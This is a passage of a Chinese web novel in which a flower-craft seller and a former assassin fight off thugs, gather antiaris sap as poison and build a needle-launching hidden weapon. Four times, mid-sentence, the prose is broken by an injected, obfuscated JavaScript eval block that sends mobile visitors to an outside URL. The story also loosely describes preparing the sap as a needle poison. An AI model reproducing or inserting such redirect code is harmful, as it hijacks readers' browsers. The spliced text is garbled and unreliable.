竹音指挥着他的动作,玄烬毕竟是第一次做,手法很生疏,两人的手指时不时碰到一起。 玄烬的身体几不可察的僵硬了一瞬,耳根发烫,但他心里越乱,脑子反而越清晰,跟随着竹音的讲解,居然一次就把花瓣给成功缠出来了。 “呀!好苗子啊!”竹音站在他身后,惊讶的拍了一下他的肩膀,赞赏道:“你这悟性,绝对是天生的手艺人,我刚开始学的时候,还缠坏了不少花瓣呢。你以前做过这个吗?怎么学的这么快。” “我……”玄烬感受着头顶的呼吸,不敢回头,只微微侧过脸,用余光去看竹音搭在自己肩膀上的手,声音比之前更低沉了些:“干过一些精细的木工活。” “原来如此。”竹音也没有深究他用木头做过什么。 她拉了把椅子过来,好整以暇的开始监工:“来来来,你多做点,要是做的好,就能给我当帮手了,我给你开月钱!” 她嘴上说的全是打趣的话,本意是让玄烬玩个痛快,自己也正好休息一下,结果玄烬却把她的话听进去了,眼睛一亮,跃跃欲试的说道:“我可以吗?” 竹音挑眉:“你还真想给我打工啊?” “想!”玄烬斩钉截铁的回答道,他盯着她的眼睛,好像生怕她反悔。 “咦,你这人——”竹音上上下下的扫视他:“以前没给人打过工吗?还想吃这个苦。” 她用手去戳玄烬的脑门:“打工又不是什么好事,你上赶着干嘛?玩玩得了。” “不,我就想干这个。”玄烬的头被她戳了一下,耳根更红,眼神却也更坚定。 他想给她帮忙,他想在这里也能有事做。 如果有事做,他就不会显得那么碍手碍脚了,说不定还能多住一段时间。 “也就是遇到了我……”竹音无语的看着他,就像在看一个智商归零的笨蛋:“换别人,就你这脑子,能给你骗的裤子都不剩。” 玄烬:“……” 虽然一听就知道不是好话,但他愣是忍住没反驳,还直勾勾的盯着她,等着她的回答。 最后竹音当然答应了下来。 廉价劳动力谁不喜欢,而且她确实也做累了,有人能帮忙,简直是皆大欢喜。 她提前给玄烬打预防针:“我这缠花现在卖的便宜,给你开的工钱也低,你做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092795|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好心理准备啊。” 玄烬高兴的点头:“嗯!” 就像一只抢到皮球的大狗,欢快的就差摇尾巴了。 真是没经历过资本家毒打的孩子呀。 竹音叹了口气,开始继续教他下一步工作。 这一晚,等到雨停了,月亮高悬,两人才熄了灯去洗漱睡觉。 一个睡东屋,一个睡西屋,中间隔着整个大堂。 明明距离很远,可玄烬躺在旧褥子铺成的床上,居然觉得莫名的安心和清静。 他透过窗户的缝隙往外看,目光定在皎洁的月亮上,外面雨停之后清新的草木香气一阵阵吹进来,让人心旷神怡。 这就是普通人的日子吧? 他有些欢快的想。 如果每天都是洗衣做饭缠花,那这样简单又重复的日子,也很美好不是吗? 竹音的声音忽然从东屋传过来,有些飘渺的清脆:“哎呀,我想起来了,你忘记洗衣服了,明天记得洗了啊!” 竹音说的是他今天换下来的那套湿衣服,本来洗完碗后,他应该去洗衣服的,结果学起了缠花,就把这事给忘了。 “好!”玄烬扬起声音喊道。 “行,累了一天了,早点睡吧,晚安。”竹音打了个哈欠,重重躺下,伸手摸了摸枕头下面的菜刀,闭眼开始睡觉。 “晚安。”玄烬将这两个字在嘴间咀嚼的几秒,眉目舒展开来,露出一个清浅的笑。 晚安,真是一个美妙的词呢。 …… 几天时间一晃而过,有了玄烬帮忙,竹音这回准备的存货更多。 到了开集那天,她照例起了个大早,提着箱子准备出门。 没想到玄烬也起来了,他接过竹音手上的箱子,很自然的说:“我送你去。” 竹音眯眼看着他:“你能露脸吗?” 玄烬一愣,继而点点头:“可以吧,这里没有认识我的人。” 竹音却有些不放心:“你还是少露脸为妙,说不准人家就找过来了,我自己去摆摊就行,你在家休息一天。” 玄烬的眸子失落的垂了下去,随即又抬起来:“我送你过去,在暗处陪着你,不露脸。” “嗯?”竹音斜睨着他:“这有什么区别吗?” “当然有,我可以帮你提东西。”玄烬说。 “我可以自己提,这点重量还难不倒我。” 竹音最近饭量大增,吃得好,身体便有力气,不到一个月的时间,就长了好几斤肉,她准备等到身体更好一些,不那么忙了,便开始锻炼肌肉。 提两个装缠花的箱子而已,缠花又没什么重量,根本就不压秤,对她来说是小意思,就当锻炼了。 玄烬想了想,指了指身上的伤口:“我还要去买点祛疤药,正好顺路。既然你要进城,我们就一起去吧。” 这算是个正当理由,竹音没道理阻止他去买药。 她思索片刻,进屋拿了个帕子出来,叫玄烬围在脸上:“别人问你,你就说自己偶感风寒,怕传给别人,这样挡着脸,别人看不清你,更安全,明白吗?” 12. 第12章 遇见混混 玄烬顺从的点头,心里为这句关心而感到雀跃:“我会一直戴着的。” 竹音叮嘱他:“不要往人多的地方跑,等我卖完东西我们再一块回来。” “好。” 竹音把其中一个箱子递给他,一人提了一个,一起往镇上走。 到了集市外,二人分道扬镳,玄烬去买药,竹音去卖缠花。 因为有预定的关系在,今天来的一大部分都是老客,老带新也不少,都是冲着占便宜来的,这样物美价廉的缠花,谁不想买一朵呢? 两大箱缠花很快卖光,没买到的顾客们像上次一样,提前跟她预定了款式,等到下个集再来取货。 她的生意这样好,引得道路两旁的摊贩频频侧目,对着她指指点点,说着小话。 竹音面不改色的收拾好空箱子,又把钱仔细揣进衣服内袋,确认不会轻易遗失,这才收摊离去。 有几个小混混见她是个独行的柔弱女人,眼珠子一转,就想在她身上捞一笔。 这年头揣着钱在街上走,若是看起来没点自保之力,就是个活靶子。 竹音从集市出来后,没走几步就发现了那几个不怀好意的跟踪者。 她本来准备去找玄烬汇合的,见到那三人越跟越近,索性脚底一转,进了旁边的巷子。 三个混混见她去了无人小路,顿时大喜,兴冲冲的跟了进去。 不远处,已经看到竹音的玄烬目光一凛,顿时也举步跟了过去。 巷子里,竹音状似毫无所觉的在前面走,甚至还从怀里掏出那包铜板,在手上掂了掂,嘟囔了一句:“今天的收益还不错,以后都能像这样就好了。” 小混混们蹑手蹑脚的跟着她,见她把他们最想要的东西拿出来了,顿时一拥而上,伸手去抢:“拿来吧你!” 他们本想抢一个出其不意,结果刚靠近竹音,跑在最前头的那人便觉得大腿一痛,发出一声惨叫:“啊!!!” 他豁然低头,惊恐的看向自己腿上插着的尖刀,露出不可置信的表情:“你……” “我?”竹音露出一个灿烂的笑容,然后猛的拔出了那把刀。 血像喷泉一样咕噜噜涌出来,男子往后躺去,凄惨的大叫,后面追上来的两个混混都看傻了。 竹音在他们没反应过来之前,已经举着刀,露出一个邪恶的微笑,飞速冲上去,对着其中一人的肩膀又来了一下:“欺负到你姥姥我头上来了!知不知道老娘是谁?不长眼的狗东西!” 巷子里又传出一声惨叫! 等她拔出刀,侧过头,准备去扎另一个人时,那人的背后忽然传来一道巨力,转瞬间便飞了出去。 与此同时,一道黑影出现,受伤的两个混混也被狠狠掼到了墙上,直接原地晕厥,完全失去行动能力。 一切只发生在电光石火之间,玄烬打完人,慌张的拉住竹音的手,上下打看她的身体:“你没事吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092796|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊,我没事。”竹音的手上还拿着匕首,掌心沾了不少血,都是那两个混混的,她推开玄烬,找了块帕子出来擦:“你怎么来了?” “我看到他们跟着你,怕你有危险……”玄烬看着地上负伤的两人,嘴边的话忽然有点说不下去。 好像危险的是那三个混混。 如果他没赶过来的话,竹音显然也能解决问题。 竹音哈哈笑出声:“多谢关心,你这朋友真不错啊,还能赶来救我。不过,你用那么大劲儿干什么,伤口还好吧?” 她对玄烬这种拔刀相助的行为还是很感激的,因此语气相当温和。 “朋友?”玄烬抓住了关键字,心里原本因为没帮到她而产生的挫败褪去,变成了惊喜:“你拿我当朋友吗?” “是啊,难道不是吗?”竹音理所当然的回道:“我救你一次,你救我一次,咱们也算……患难之交!” 她朝玄烬眨眨眼,露出揶揄的表情。 玄烬却很认真的点头:“对,我们是患难之交!” 他也勾起嘴角,露出个纯洁无害的笑容,显得整个人阳光明媚。 竹音被这笑容闪了一下眼睛,抽着冷气转过头。 这小子怎么回事?带着面罩还这么好看。 她擦干净手,俯身去掏地上三个人的荷包,打野不摸尸,等于白干活:“嘿,这几个人还挺有钱,咱们一人一半,今天的晚饭钱有了,我带你下馆子!” 13. 第13章 箭毒木 玄烬连忙拒绝:“我不需要。” 竹音直接把一半铜钱扔进他怀里:“给你你就拿着!你要不来,他们也不能这么快晕过去,省了我大事呢。” 她摸完钱,便开始处理三个人的身体。 玄烬想还回去,又怕她生气,犹豫了一下,把钱揣好,走上前去提议道:“我把他们扔到没人的地方去吧?” “你的伤还没痊愈,别做这种体力活,我自己来就行了。”竹音正在解几人的衣服,她要杀鸡儆猴,这些小混混,一次不把他们收拾服帖了,下回还敢来。 至于报复,说起来,她还真不怎么怕。 这副身体最近已经被她养的强壮了许多,虽然因为忙碌,肌肉还没来得及好好练,但仅靠上辈子学习的格斗技巧,就足以对付这些人了。 身体差距过大的情况下,打架要取巧,她现在虽然又矮又纤弱,但灵活度也显著增长,弥补了力量上的缺失。 世人总是恃强凌弱,欺软怕硬,只要她把名声打出去了,让大家知道她不好惹,往后的人再想打她的主意,也得掂量掂量,不会再贸然出手。 这可以为她解决很多不必要的麻烦,而这三个人就是她的第一组传声筒。 好名声固然重要,但有时候,坏名声才是行走江湖的保护伞。 玄烬不知道她还有这种本事,下意识为她担心:“留着他们,恐怕对你不利……” 以他一贯受到的教育来说,这三个人都该杀了,然后抛尸荒野,让野狗来处理尸体,以绝后患。 他刚才想帮竹音处理他们,就是抱着这样的想法,准备让他们永远消失。 “别啰嗦了,来,你要想干活,就给我帮忙,把他们全扒了,叫城里的人看个热闹。”竹音已经麻利的扒光了一个人的衣服,准备稍后就让他接受人群目光火辣辣的审视。 她侧过身,将手里的衣服卷到一起,扔到一边,玄烬看着那个失去所有衣服,原地遛鸟的昏迷混混,瞳孔地震:“你、他……” “快点啊,待会儿把衣服丢茅厕里,让他们光着回去,这才解气呢!”竹音脸上毫无看见男人身体的羞耻之意,已经向另一个人伸去魔爪,面上只有整人的兴奋。 玄烬:“……” 玄烬不由陷入了沉思,一时之间不知道这三人醒来后,是觉得当场死了好,还是这样颜面尽失的活着更好。 这、这操作属实是他没想到的。 许是担心竹音污了眼睛,他把竹音推到一边,一个人任劳任怨的帮助她完成了扒衣服大业,然后将三条死狗拖到距离巷子口五米的地方,方便路过的人看见,便抱着他们的衣服匆匆离开了。 路过一个茅厕时,竹音把三个人的衣服丢进了粪坑里,又用竹竿子怼了怼,让衣服沾满秽物,保证捞起来也不想要,这才神清气爽的离开。 惹她,绝对没有好果子吃! 玄烬跟在她后面,听她遗憾的讲:“要不是这衣服不适合流通,其实卖了换钱更好,真是白瞎了布料。” 玄烬:“……” 啊这,这对吗? 竹音也不管他接不接话,继续说:“咱们待会儿吃点什么?你想吃炒菜还是炖锅?” 清栀镇是个大镇,各种饭馆很多,本地人下馆子时经常吃的就是各类炒菜,或者炖鸡、炖鸭之类的锅子。 “我都行。”玄烬尽量抛去脑海中对刚才那件事的联想,跟上了竹音:“你吃什么我就吃什么。” 竹音今天心情好,于是带着他去小饭馆要了个包厢,点了四菜一汤。 等菜全都上齐了,小二关上门出去,玄烬才摘下面罩开始吃饭。 他牢记竹音的叮嘱,不在外人面前露全脸。 虽然知道这是为他好,但他心里也免不了自卑,觉得自己的身份上不了台面。 要是自己也是个普通人就好了…… 玄烬垂下眼睑,把情绪隐藏的很好,竹音没发现端倪。 小饭馆的厨子手艺不错,两个人满足的吃完饭,把剩下的半只烤鸡打包,一起回了家。 路上,竹音一边走,一边打量着山林中的树木,似乎在寻找着什么。 玄烬跟着她的目光看去,问道:“你在找什么呢?用不用我帮忙。” “可以啊。”竹音没回头,眼神还在山林中逡巡:“找点能制毒的东西,你认识吗?” “制毒?你要这种东西做什么?”玄烬一惊。 “防身啊,以后找我茬的人多了,我也不能回回都硬抗啊!得给自己留几个保命的后手。咦——”她忽然眼睛一亮,朝着树林深处钻去:“这里居然有一棵箭毒木?” “箭毒木?”玄烬连忙跟过去。 他听到竹音说防身和后手两个词时,便想起来自己和竹音曾经的对话,那时候竹音也问过他,为什么不带毒在身上。 他不会制毒,也没想过去研究,他所用的毒都是组织发给他的,从来都没操过心,但那剂量又很小,没办法藏下来自己用。 竹姑娘想要自己制毒吗? 他看着竹音在一棵其貌不扬的小树面前停下,摸着下巴嘟囔道:“这是箭毒木吧?看起来很像啊,它的种子能跑这么远吗?” 玄烬在她身后停下,也去打量那棵树,一人多高的小树苗,树干细细的,叶子呈长条椭圆形,叶脉清晰,茎干上有细小的黄褐色绒毛,乍一看,好像和其他植被没什么不同。 “这个有什么用?”玄烬下意识想要摘一片叶子来查看。 结果手刚接触到叶片,就被竹音“啪”的打掉:“你找死啊!” 手背一痛,玄烬连忙收回手,局促的看向竹音。 竹音叉着腰骂他:“你都不知道这是什么,你就敢摸?这玩意儿汁液有毒,见血封喉,你手上但凡有个小口子,汁液从伤口渗进去,你就无了!知道吗?” 玄烬顿时面色苍白,不敢说话。 不过他还是有些怀疑的,就这个小树,真能毒死人吗? 竹音从箱子里拿出装水的葫芦,拔开盖子:“把手伸出来,赶紧洗一洗,别待会儿忘了,塞进嘴里,真是死都不知道怎么死的。” 见她如此郑重其事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092797|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄烬也不敢耽误,连忙就着倒出来的水洗了手。 看他把手洗干净了,竹音略略放心,也没动那棵树,只记住了方位,便带着他走了出去:“等我做好手套,我们把它挖回去,种在院子里。” 此树在手,她做个暴雨梨花针之类的暗器,别的不说,防身绝对是够用了。 只要在针尖上涂上箭毒木的汁液,谁碰上谁倒霉啊。 玄烬见她如此重视这棵小树,立时计上心头,深深地看了那棵小树几眼,把它的形态牢牢记在心里,准备以后看见大树,再给她挖回来。 等到两人回家,也不过才到下午。 玄烬今天是打着买药的名义去镇上的,回来便被竹音催着涂药。 他便回了自己住的西屋,解开衣服开始涂抹祛疤的药膏。 涂完了胸前的伤口后,他忽然想起自己背后也有一堆陈年旧疤,似乎比胸前的更狰狞,便索性脱了上衣,背着手去涂后背。 不过这个姿势对人类来说还是太有难度了,他涂了半天也没涂匀,倒把后背搞得五花六道。 竹音见他半天没出来,有些疑惑,站在大堂里朗声问他:“怎么了吗?伤口裂开了?” “没、没有……”玄烬慌忙放下药膏,准备穿上衣服,但后背的药膏还堆积在一起,现在穿衣服,会全部粘到衣服上,一时间,他用手摩挲着后背,进退两难。 竹音皱了皱眉,又问:“那是怎么了,还没涂好?需要帮忙吗?” 玄烬本来不想让竹音看到他涂个药膏都涂不好的狼狈样子,这样会显得他很蠢。 但当初他还躺在地上时,竹音尽心尽力给他擦洗涂药的回忆,忽然涌上心头,让他无比留恋,有些话没经过大脑便说出了口:“我后背涂不到,你能帮我涂一下吗?” 竹音了然,举步走了进去:“我说呢,你怎么这么久还没涂好。” 一进屋,男人精瘦白皙的上背便映入眼帘。 薄肌,宽肩,细腰,比例完美。 前提是忽视上面纵横交错的疤痕。 已经是第二次看了,竹音还是觉得他的伤疤很具有视觉冲击力,难以想象他曾经究竟遭受了多少顿毒打,才能让自己的后背变得这样惨不忍睹。 “你该早点喊我的,这都涂到别的地方去了。”竹音接过药膏,伸出手帮他重新涂抹。 温热的手指在玄烬后背上游走,带着按揉药膏的力道,让他浑身紧绷,脸颊也有些发烫:“我、本来以为自己可以……” “下回涂后背的时候直接喊我就行。”竹音了解他这个拧巴的性子,一边涂一边说,语气一本正经:“我都给你擦洗过了,什么地方我没看过,不用这么客气。” 感受着后背那股酥麻而陌生的感觉,玄烬的脸颊似乎要烧起来,他抓着自己的裤子,眼睛都不敢乱看,只嗫嚅道:“怕麻烦你……” 说完,他都忍不住唾弃自己的卑劣。 真要怕麻烦,就不会喊人家进来帮自己涂药了。 他不就是想要得到她的关心吗? 口是心非! 14. 第14章 暴雨梨花针 竹音一边说话,一边注意着玄烬的反应,从她的角度看过去,只见玄烬的脸红了又白,白了又红,一副坐立不安的模样。 她手上动作不停,还在给玄烬涂抹药膏,但眼中的神色已经变成了若有所思。 这小子……不会思春了吧? 涂个后背而已,至于吗? 最后一道疤痕涂抹完毕,竹音“啪”的一巴掌打在他后背上,让他清醒过来:“行了,别发呆了,穿衣服吧。” “哦、哦……啊。”玄烬恍然回神,连忙把衣服披在身上,慌乱的去系带子。 竹音已经转身走了出去。 既然已经找到了箭毒木这种好东西,那就要好好利用起来。 她在纸上罗列自己可能要用到的物品。 想把箭毒木挖回来,全身防护少不了,明天去挖树苗的时候,要从头到脚包裹油布,戴厚棉手套,防止自己接触到汁液。 还要准备一个大花盆,不能直接种在院子里,不然搬家了不好带走。 箭毒木的汁液流出后很快就会氧化,所以还要准备一瓶高度酒,用来封存汁液。 最后,也是最关键的,她需要准备大量生石灰,用来处理用过的工具,还要准备好解药,真要是不小心中招了,总要有应对办法。 不过箭毒木其实没有特效解药,如果倒霉毒到了自己身上,也只能依靠催吐和强心药剂来缓解,所以用的时候必须十分谨慎,除非迫不得已,她不会使出这招。 就像她和玄烬说的那样,这只是她的保命后手。 玄烬出来的时候,就看见竹音正把一张写满了字的纸叠起来,放进荷包里。 见玄烬的脸色已经恢复如常,她招手喊玄烬过来,问道:“你会做暗器吗?暴雨梨花针什么的。” “暴雨梨花针?”玄烬满脸茫然,显然没听说过。 竹音跟他形容了一下暴雨梨花针的使用方法,玄烬的茫然变成了惊奇,但依旧表示自己没见过。 竹音失望的叹了口气,发现这事恐怕偷不了懒了,只能自己来。 她随手找了沓纸,在玄烬的注视下,做了个纸模型出来,演示给他看:“前面有几排发射孔,可以放数十根针,只要控制住后面的机关拨片,就可以发射。 为了防误触,侧面还要加一个卡榫,像这样,打开卡榫才能用,能看明白吗?” 在竹音的操作下,玄烬目瞪口呆的看着她用纸模型发射出去了一堆短短的竹签。 竹签飞到前方,稳稳的扎在了木门上,虽然入木不深,但也足以见到它的威力。 “这,这暗器好厉害……”玄烬瞳孔放大,感到极度的不可思议,一时之间都不知道该用什么词来夸奖她,只觉得又一次刷新了对竹音的印象。 竹姑娘怎么什么都会? “还不错吧!我想做个铁的,不知道哪里能定制。”竹音把纸模放在桌上,有些苦恼的说。 “我能做!”玄烬立刻接话,双眼亮晶晶的看着她:“让我试试!” 他的目光里充满了迫切和坚定。 除了缠花之外,他终于又找到了一个能够帮助竹音的地方了。 竹音等的就是他这句话,善于利用身边所有的资源,是每个老板的基本操作。 见自己小露一手,就让玄烬跃跃欲试,上赶着帮她干活,竹音心里满意极了。 她笑眯眯的对玄烬道:“好呀,那我的防身暗器,可就靠你啦!” 她绝对不是个迟钝的人,玄烬的种种反应,已经证明了他那不可告人的小心思。 既然这小子看起来对她有好感,那么目前来说就是安全的,安全的人不用白不用,都留在她身边了,自然要尽可能的发挥最大的价值。 玄烬欢喜雀跃的接过那个纸模型,整个人如获至宝,立马投入了研究。 他也不是没见过更精巧的暗杀武器,但这个叫暴雨梨花针的暗器,绝对是个新鲜货。 虽然他不想继续做杀手,然而对于武力和武器的掌控,却并不让他厌烦,想在这世上过得好,要么有权力,要么有拳头,一个都没有,注定要过苦日子。 这个道理他明白的很,所以看到有用的新鲜事物,就会主动去钻研学习。 …… 下次的大集又是十天后。 这十天里,竹音和玄烬全副武装,一起把那棵箭毒木的树苗挖回了家里,种在一个土陶花盆中。 竹音搞了一堆瓶瓶罐罐,用蒸馏法提纯了高度白酒,用来给箭毒木的汁液做抗氧化剂。 他们二人,上半天做缠花,下半天一个制毒,一个打铁,倒是过的相当充实。 玄烬从来没觉得自己的干劲儿这么足过,原来做自己想做的事,真的感受不到累。 每天晚上,非得竹音催他去休息,他才会恋恋不舍的放下手里的工具,去洗漱安睡。 只是即便躺到床上,他的脑子也没停下运转,一门心思都放在自己即将做好的那件暗器身上。 要不是早起打铁被竹音骂过,他恨不得每天睡两个时辰就爬起来干活。 竹音对于自己拥有一个高能量的室友感到麻爪。 之前养伤的时候,还没觉得这小子身上有什么过人之处,现在看他每天精力如此旺盛,不吃饭不睡觉都能干活,她才发现玄烬是个高精力人群,和自己这种干点活就想睡一天的低精力人群完全不同。 为了自己的小命着想,竹音没准备跟着他一起卷,反而打起了买仆人的主意。 这次卖完缠花后,就可以去人牙子市场转转了,看看能不能捡漏几个小姑娘回来当学徒,不然一天到晚叫她自己缠花,早晚眼睛都得瞎。 这种精细活,还是要几个人轮流着干才行。 出摊的前一天,竹音的毒制好了,玄烬的暗器也做出了第一版,两人简直是神同步。 玄烬将一把尖锐的细针插进暗器中,在木门上试验效果。 只见他用手扣动机关后,一片铁针立刻呈扇形飞了出去,在木门上留下密密麻麻一大片扎孔,劲头十足,入木三分,让人光是看着就觉得毛骨悚然,生怕被这玩意儿误伤! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100667|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事实上,这扇可怜的木门在他做试验时就已经被扎了许多小孔出来,现在整扇门摇摇欲坠,看起来更可怜了。 也就是屋里住的两个人都不是普通过日子的人,不然把家里的木门弄成这样,换到任何一户农家,高低要挨顿骂。 “好!”竹音激动的给他鼓掌,心里的大石落地:“你可太厉害了,这么快就弄出来了!” 这样以后她出门又能多一重保障,哪怕不涂毒,敌人挨上这一下,也得重伤。 玄烬垂下举着暗器的手臂,心里有被夸赞的高兴,还有些不好意思:“主要是你的模型做的好,我就是照猫画虎。” “可别这样讲,我那模型粗糙着呢,发射力度也不够大,这些改进都是你做出来的,不要这么谦虚。”竹音真情实感的夸奖他:“就冲这个暗器,明天在镇上摆完摊,我得请你好好吃顿饭。” “不用了不用了。”玄烬赶紧摆手:“我真的没做什么。” 他小心翼翼的说:“我要戴面罩,下馆子太麻烦了。” 竹音微怔,没想到他担心这个。 不过确实,玄烬想要隐藏身份,必须戴面罩,可是戴着面罩其实也很引人注目,必定不是长久之计。 她想了想,说道:“我给你化妆吧,明天去买点胭脂水粉,给你的眉眼和骨相改一改,就没人能认出来了。” 玄烬:“啊?” 他从来没化过妆,但听竹音这个描述,她所说的化妆,好像更像另一种东西:“你说的是不是易容术啊?” 竹音以前做汉服头饰博主,为了视频能够火爆,各种仿妆、汉服妆造都学了不少,只要工具齐全,的确可以称为换头术。 她朝玄烬眨眼:“差不多吧,到时候给你画完,你就知道了。你有喜欢的形象吗?高冷的,桀骜的,还是温润如玉的?想画的年轻点,还是年长点?” “这些你都会吗?”玄烬睁大眼,感觉竹姑娘真是越接触越觉得神秘。 “会一点,不太精通。”想着这里的胭脂水粉工艺可能不太先进,竹音保守的说道。 第二天。 玄烬跟着她去摆摊,依旧戴着面罩。 经过这十天,他的伤势已经基本痊愈了,现在唯一让他烦恼的,就是全身祛疤。 上次买的祛疤药膏效果不太好,涂了这么久,仅仅帮他淡化了一点,所以今天他准备再去买点别的祛疤膏试试。 除了祛疤膏以外,他身上还揣着一张小纸条,上面写的是竹音让他购买的胭脂水粉,晚上回去后,她要给他化妆。 一想到化妆时,两人的距离会更近,玄烬走在路上都觉得脸颊要起热了。 不行,不能这样。 晚上的时候,他一定要绷住神情,不能闹笑话! 集市里。 竹音虽然只是第三次来摆摊,但在低价缠花领域已经打出了名声,不少姑娘们从亲朋好友那里听说她的名号,今日结伴来买头饰。 今天的生意依旧好的不得了,不少商贩都对着她的摊位眼红。